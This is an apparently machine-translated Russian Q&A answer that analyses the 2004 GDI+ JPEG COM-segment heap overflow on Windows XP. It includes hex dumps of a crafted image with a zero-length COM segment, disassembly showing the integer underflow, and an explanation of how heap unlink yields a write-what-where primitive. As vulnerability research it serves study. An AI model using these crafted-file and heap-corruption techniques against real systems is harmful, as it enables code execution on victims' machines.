Ответ 1
Эта уязвимость была определенно переполнение кучи.
Как писать байты 0XFFFFFFFE (4 ГБ!!!!), возможно, не сбой программы?
Вероятно, это произойдет, но в некоторых случаях у вас есть время для использования до того, как произойдет сбой (иногда вы можете вернуть программу к нормальному исполнению и избежать сбоя).
При запуске memcpy() копия перезапишет либо некоторые другие блоки кучи, либо некоторые части структуры управления кучей (например, бесплатный список, список занятости и т.д.).
В какой-то момент копия столкнется с не выделенной страницей и вызовет AV (Нарушение доступа) при записи. Затем GDI + попытается выделить новый блок в куче (см. ntdll! RtlAllocateHeap)... но структуры кучи теперь перепутаны.
В этот момент, тщательно обработав изображение в формате JPEG, вы можете переписать структуры управления кучами управляемыми данными. Когда система пытается выделить новый блок, он, вероятно, отключит (свободный) блок из бесплатного списка.
Блок управляется (в частности) флинком (прямая ссылка, следующий блок в списке) и мигает (обратная ссылка, предыдущий блок в списке) указатели. Если вы контролируете как флинк, так и мигание, у вас может быть возможное WRITE4 (записать условие "Что/Где" ), где вы контролируете, что вы можете писать, и где вы можете писать.
В этот момент вы можете переписать указатель на функцию (SEH [Обработчики структурированных исключений] указатели были целевым выбором в то время еще в 2004 году ) и выполнить выполнение кода.
См. сообщение в блоге Куча коррупции: пример из практики.
Примечание: хотя я писал об эксплуатации с использованием фриланста, злоумышленник может выбрать другой путь, используя другие метаданные кучи ( "метаданные кучи" - это структуры, используемые системой для управления кучей, а также флинг и мигание являются частью метаданных кучи), но использование unlink, вероятно, является "самым простым". Поиск Google для "кучи эксплуатации" вернет многочисленные исследования об этом.
Описывает ли это запись за пределами области кучи и в пространство других программ и ОС?
Никогда. Современная ОС основана на концепции виртуального адресного пространства, поэтому каждый процесс имеет собственное виртуальное адресное пространство, которое позволяет адресовать до 4 гигабайт памяти в 32-битной системе (на практике вы получили только половину от нее в пользовательской зоне, остальное для ядра).
Вкратце, процесс не может получить доступ к памяти другого процесса (кроме случаев, когда он запрашивает ядро для него через некоторый сервис /API, но ядро проверяет, имеет ли вызывающий объект это право).
Я решил протестировать эту уязвимость в конце этого урока, поэтому мы могли бы получить хорошую идею о том, что происходит, а не о чистой спекуляции. Уязвимость теперь составляет 10 лет, поэтому я подумал, что это нормально писать об этом, хотя я не объяснил эту часть в этом ответе.
Планирование
Самая сложная задача - найти Windows XP с SP1, как это было в 2004 году:)
Затем я загрузил изображение JPEG, состоящее только из одного пикселя, как показано ниже (сокращение для краткости):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Изображение в формате JPEG состоит из двоичных маркеров (которые вводят сегменты). В приведенном выше изображении FF D8
является маркером SOI (начало изображения), а FF E0
, например, является маркером приложения.
Первый параметр в сегменте маркера (кроме некоторых маркеров, таких как SOI) - это двухбайтовый параметр длины, который кодирует количество байтов в сегменте маркера, включая параметр длины и исключая двухбайтовый маркер.
Я просто добавил маркер COM (0x FFFE
) сразу после SOI, так как маркеры не имеют строгого порядка.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
Длина сегмента COM установлена на 00 00
, чтобы вызвать уязвимость. Я также ввел байты 0xFFFC сразу после маркера COM с повторяющимся шаблоном, число в 4 байта в шестнадцатеричном формате, которое станет удобным при "использовании" этой уязвимости.
Отладка
Двойной щелчок по изображению сразу вызовет ошибку в оболочке Windows (иначе "explorer.exe" ), где-то в gdiplus.dll
, в функции с именем GpJpegDecoder::read_jpeg_marker()
.
Эта функция вызывается для каждого маркера на изображении, она просто: считывает размер сегмента маркера, выделяет буфер, длина которого является размером сегмента и копирует содержимое сегмента в этот вновь выделенный буфер.
Здесь начало функции:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
регистрирует точки на размер сегмента, а edi
- количество оставшихся в изображении байтов.
Затем код переходит к считыванию размера сегмента, начиная с самого значимого байта (длина - это 16-битное значение):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
И младший байт:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Как только это будет сделано, размер сегмента используется для выделения буфера после этого вычисления:
alloc_size = segment_size + 2
Это делается по следующему коду:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call [email protected] ; GpMalloc(x)
В нашем случае, поскольку размер сегмента равен 0, выделенный размер для буфера составляет 2 байта.
Уязвимость существует сразу после выделения:
.text:70E19A37 call [email protected] ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
Код просто вычитает размер segment_size (длина сегмента - 2 байта) из всего размера сегмента (в нашем случае 0) и заканчивается целым нижним потоком: 0 - 2 = 0xFFFFFFFE
Затем код проверяет, есть ли байты, оставшиеся для синтаксического анализа изображения (это правда), а затем перескакивает на копию:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
Вышеприведенный фрагмент показывает, что размер копии равен 32-битным фрагментам 0xFFFFFFFE. Буфер источника управляется (содержимое изображения), а получателем является буфер в куче.
Условие записи
Копия вызовет исключение нарушения доступа (AV), когда оно достигнет конца страницы памяти (это может быть либо указатель источника, либо указатель назначения). Когда AV запускается, куча уже находится в уязвимом состоянии, потому что копия уже перезаписала все следующие блоки кучи до тех пор, пока не будет обнаружена страница, не связанная с отображением.
Что делает эту ошибку доступной, так это то, что 3 SEH (Structured Exception Handler, это try/except на низком уровне) ловят исключения в этой части кода. Точнее, 1-й SEH разматывает стек, чтобы вернуться к анализу другого маркера JPEG, тем самым полностью пропустив маркер, который вызвал исключение.
Без SEH код просто разбил бы всю программу. Таким образом, код пропускает сегмент COM и анализирует другой сегмент. Таким образом, мы возвращаемся к GpJpegDecoder::read_jpeg_marker()
с новым сегментом и когда код выделяет новый буфер:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call [email protected] ; GpMalloc(x)
Система отключит блок из бесплатного списка. Бывает, что структуры метаданных были перезаписаны содержимым изображения; поэтому мы контролируем unlink с контролируемыми метаданными. Код ниже в системе (ntdll) в менеджере кучи:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Теперь мы можем написать то, что хотим, где хотим...